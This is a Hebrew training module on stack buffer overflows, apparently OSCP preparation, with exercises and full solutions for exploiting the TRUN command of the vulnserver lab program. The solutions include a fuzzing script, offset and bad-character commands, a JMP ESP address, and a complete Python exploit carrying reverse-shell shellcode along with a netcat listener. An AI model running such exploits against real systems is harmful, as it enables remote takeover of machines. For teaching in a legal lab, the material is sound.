

מודול 10 — גלישת חוצץ (Buffer Overflow) — תרגילים ופתרונות

חומר לימוד

2 יחידות

תוכן העניינים

1.  תרגילים — מודול 10: גלישת חוצץ (Buffer Overflow)

2.  פתרונות מלאים — מודול 10: גלישת חוצץ

🎯 תרגילים — מודול 10: גלישת חוצץ (Buffer Overflow)

⚠️ רק על סביבת תרגול חוקית — vulnserver במעבדה שלך, או חדר "Buffer Overflow Prep" ב-TryHackMe. לעולם לא על תוכנה/שרת אמיתי. פתרונות ב- solutions.md.

🚦 לפני שמתחילים — קרא אותי!

- מה צריך לרוץ: מכונת Windows עם vulnserver.exe + Immunity Debugger + mona.py, ומכונת Kali באותה רשת. אין Windows? השתמש בחדר "Buffer Overflow Prep" ב-TryHackMe — הכול מוכן שם בענן (מומלץ!).
- איך עובדים: קרא קודם את ה- README.md — הוא מסביר כל שלב. התרגילים הקלים (🟢) ישירים (מה להקליד ומה לחפש); הקשים יש בהם 💡 רמז ו-✅ קריטריון.
- נתקעת? BOF הוא נושא מדויק — טעות קטנה מפילה הכול. נסה, קרא שוב את הסעיף, ואז הצץ ב- solutions.md שיש בו סקריפט מלא וכל הפקודות.
- טיפ: רשום את הערכים שאתה מוצא (offset, bad chars, JMP ESP) — תזדקק להם בשלב הבא.

🌐 איפה לתרגל — שתי דרכים

- TryHackMe (בדפדפן, ללא התקנה): Buffer Overflow Prep (Tib3rius — הכי מומלץ)
- Kali (מקומי): vulnserver על מכונת Immunity Debugger + Windows + mona.py.

מקרא רמות: 🟢 קל · 🟡 בינוני · 🟠 מתקדם · 🔴 אתגר

🎮 האתגר הגדול — טקס המעבר של OSCP

זה האתגר שכל האקר זוכר: לכתוב Exploit מאפס ולקבל Shell דרך גלישת חוצץ. — TryHackMe
Buffer Overflow Prep (Tib3rius) מספק 10 בינאריים לתרגול, מהקל לקשה — הכול מוכן בענן.

🏆 **אתגר:** השלם Exploit מלא לפחות ל- OVERFLOW1 — מ-Fuzzing ועד Shell. ☒ הצלחה: כתבת BOF עובר לבד — אתה מוכן לחלק ה-BOF של בחינת OSCP.

חלק א' — הבנת המבנה (🟢)

10.1 — הסבר במילים שלך מה תפקידם של **EIP** ו-**ESP**. מדוע EIP הוא המטרה של תוקף BOF? 💡 רמז: §10.1 README (טבלת הרגיסטרים). ☒ הצלחה: הסברת ש-EIP מצביע להוראה הבאה, ולכן שליטה בו = שליטה בביצוע.

10.2 — צייר (או תאר) את מבנה ה-Stack **לפני ואחרי** גלישת חוצץ. סמן היכן נדרס ה-EIP. 💡 רמז: §10.2 README (הדיאגרמה). ☒ הצלחה: הדיאגרמה שלך מראה את החוצץ מתמלא ואת ה-EIP נדרס.

10.3 🟢 — הקם את vulnserver והתחבר אליו מ-Kali כדי לראות את הפקודות.

```
# (מאזין על 9999) vulnserver.exe הפעל: Windows-ב
# Kali-ב:
nc 192.168.56.50 9999      # Windows של IP-החלף ב
HELP
```

👁️ **חפשי:** רשימת פקודות שהשרת מדפיס (TRUN, STATS, GMON...). רשום 3 מהן. ☒ הצלחה: התחברת וראית את פקודות ה-vulnserver.

חלק ב' — Offset-1 Fuzzing (🟡)

10.4 🟡 — כתוב סקריפט Python ל-Fuzzing של הפקודה TRUN שמעלה את הקלט ב-100 בתים בכל סבב. באיזה גודל התוכנה קרסה? 💡 רמז: §10.5 README (יש שם שלד סקריפט מלא). הרץ אותו וצפה ב-Immunity מתי vulnserver "מת". ☒ הצלחה: יש לך מספר משוער של בתים שבו התוכנה קרסה (~2000).

10.5 🟡 — צור **דפוס ייחודי**, שלח אותו, וקרא את הערך שנדרס ב-EIP. מצא את ה-Offset המדויק.

```
msf-pattern_create -l 3000      # בסקריפט, שלח שוב A-הדבק במקום ה
# ואז, (F4337 למשל 386) Immunity ב-EIP קרא את הערך ב
msf-pattern_offset -l 3000 -q 386F4337
```

👁️ **חפשי:** שורת Exact match at offset NNNN — זה ה-Offset (למשל 2003). ☒ הצלחה: יש לך מספר Offset מדויק.

10.6 — אמת את ה-Offset: שלח `A × 4 × B + offset`. מה מציג EIP ב-Immunity? מדוע 42424242 ? 💡
רמז: §10.7 README. בנה `buffer = b"A"*2003 + b"B"*4`. הצלחה: EIP מציג בדיוק 42424242 ✅
— הוכחת שליטה מלאה.

חלק ג' — JMP ESP ו-Bad Chars (🟡)

10.7 — שלח את כל 255 הבתים אחרי ה-EIP והשתמש ב-`mona (compare + bytearray)` כדי לזהות **Bad Characters**. 💡 רמז: §10.8 README. `!mona bytearray -b "\x00"` ואז `!mona`
`<ESP> -a <bytearray.bin> -f compare`. הצלחה: יש לך רשימת הבתים הרעים (ב-vulnserver) לרוב רק `(\x00)`. ✅

10.8 — הרץ `!mona modules` ובחר מודול מתאים ל-JMP ESP. אילו קריטריונים בדקת? 💡 רמז: §10.9 README. חפש מודול עם **הכול** (False (Rebase/SafeSEH/ASLR/NXCompat) — ב-vulnserver זה `essfunc.dll`. הצלחה: בחרת מודול ללא הגנות ויודע להסביר למה. ✅

10.9 — מצא את כתובת ה-JMP ESP וכתוב אותה ב-**Little-Endian** כפי שתופיע בקוד.

```
!mona find -s "\xff\xe4" -m essfunc.dll
```

👁️ **חפש:** כתובת כמו 625011AF. בקוד היא נכתבת הפוך: `\x62\x50\x11\xaf`. הצלחה: יש לך את כתובת ה-JMP ESP בפורמט Little-Endian.

אתגר מסכם — “Exploit מלא מקצה לקצה” 🟠

בנה **Exploit עובד** ל-vulnserver (פקודת TRUN) שמעניק לך **Reverse Shell**:

1. **בצע את כל 7 השלבים** בסדר: `Fuzz → Offset → EIP → Bad Chars → JMP ESP → Shellcode`.
 2. צור Shellcode של `windows/shell_reverse_tcp` עם `msfvenom`, תוך **החרגת הבתים הרעים** שמצאת.
 3. הרכב את ה-Payload: `Shellcode + NOP sled + JMP ESP + A×offset`.
 4. הקם מאזין (`nc -lvp 4444`), הרץ את ה-Exploit, וקבל **Shell**. הרץ `whoami` להוכחה.
 5. **תעד** את התהליך: כל שלב, הערכים שמצאת (`offset, bad chars`, כתובת JMP ESP), וצילום ה-Shell.
- 💡 רמז: כל השלבים מפורטים ב-§10.10 README, ויש **סקריפט Exploit מלא** ב-`solutions.md`. ✅
הצלחה: קיבלת Shell על ה-Windows והרצת `whoami`.

✓ רשימת בקרה — לפני מעבר למודול 11

- ☐ אני מבין את תפקיד EIP/ESP ומבנה ה-Stack ב-Overflow
- ☐ אני מבצע Fuzzing ומוצא את טווח הקריסה
- ☐ אני מוצא Offset מדויק עם pattern_create/offset
- ☐ אני משיג שליטה מלאה ב-EIP (42424242)
- ☐ אני מזהה Bad Characters עם mona
- ☐ אני מוצא כתובת JMP ESP וכותב אותה ב-Little-Endian
- ☐ אני מייצר Shellcode עם msfvenom ומקבל Shell

פתרונות מלאים: [solutions.md](#)

✓ פתרונות מלאים — מודול 10: גלישת חוצץ

נסה לבד ב- [missions.md](#) קודם. כל הפעולות על vulnserver בסביבת תרגול חוקית בלבד.

חלק א' — הבנת המבנה

10.1 — **EIP** מצביע על ההוראה הבאה שהמעבד יריץ; **ESP** מצביע על ראש ה-Stack. EIP הוא המטרה כי מי ששולט בו **קובע לאן יקפוץ הביצוע** — אפשר להפנות אותו לקוד של התוקף (Shellcode).

10.2 — לפני: `[Buffer][Saved EBP][Return/EIP]`. אחרי גלישה: הקלט הארוך ממלא את ה-Buffer, דורס את ה-EBP, וממשיך לדרוס את כתובת החזרה (**EIP**) — שם נשתול את הכתובת שלנו.

10.3

```
nc <windows-ip> 9999
HELP
# פקודות: STATS, RTIME, LTIME, SRUN, TRUN, GMON, GDOG, KSTET, GTER, HTER, LTER, KSTAN
```

10.4

```
#!/usr/bin/python3
import socket, time, sys
ip, port = "192.168.56.50", 9999
buf = "A" * 100
while True:
    try:
        s = socket.socket(); s.connect((ip, port))
        s.send(("TRUN ./." + buf).encode()); s.close()
        print("Sent %d bytes" % len(buf)); buf += "A"*100; time.sleep(1)
    except:
        print("Crashed at %d" % len(buf)); sys.exit()
```

לרוב קורס סביב 2000–2100 בתים.

10.5

```
msf-pattern_create -l 3000          # בסקריפט, שולחים A-מדביקים במקום ה
# למשל F4337 ל Immunity, ב EIP קוראים את
msf-pattern_offset -l 3000 -q 386F4337
# [*] Exact match at offset 2003
```

10.6 — שולחים `b"A"*2003 + b"B"*4`. ה-EIP מציג **42424242** כי `B = 0x42` ב-ASCII, וארבעת ה-B נכנסו בדיוק למיקום ה-EIP → הוכחת שליטה.

חלק ג' — JMP ESP-1 Bad Chars

10.7 — שולחים `\xff ... \x01` אחרי ה-EIP.

```
!mona bytearray -b "\x00"          ← יוצר מערך התייחסות
# ואז, payload-שולחים את ה
!mona compare -f C:\mona\bytearray.bin -a <ESP כתובת>
```

ב-vulnserver לרוב רק `\x00` הוא Bad Char.

10.8

```
!mona modules
```

בוחרים מודול עם **הכול** (False (Rebase, SafeSEH, ASLR, NXCompat) — כדי שהכתובת תהיה קבועה וללא הגנות. ב-vulnserver זהו **essfunc.dll**.

10.9

```
!mona find -s "\xff\xe4" -m essfunc.dll
# 0x625011af מחזיר למשל 0
```

בקוד, ב-Little-Endian:

```
eip = b"\xaf\x11\x50\x62"
```

אתגר מסכם — Exploit מלא

```
#!/usr/bin/python3
import socket

ip, port = "192.168.56.50", 9999
offset = 2003
eip = b"\xaf\x11\x50\x62"          # JMP ESP מתוך essfunc.dll
nops = b"\x90" * 16

# msfvenom -p windows/shell_reverse_tcp LHOST=<kali> LPORT=4444 \
#          EXITFUNC=thread -b "\x00" -f python -v shellcode
shellcode = b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89..." # (מקוצר)

buffer = b"A"*offset + eip + nops + shellcode
s = socket.socket()
s.connect((ip, port))
s.send(b"TRUN ./." + buffer)
s.close()
```

```
# מאזין - (Kali) טרמינל 1:
nc -lvnp 4444
# Exploit-טרמינל 2 - הרצת ה:
python3 exploit.py
# בטרמינל 1 ← C:\> whoami → Shell! 🎉
```

מבנה ה-Payload להזכיר: A×2003 → JMP ESP → NOP sled → Shellcode.

עברת? כתבת BOF Exploit מלא בעצמך — זו אבן דרך אמיתית. המשך למודול 11.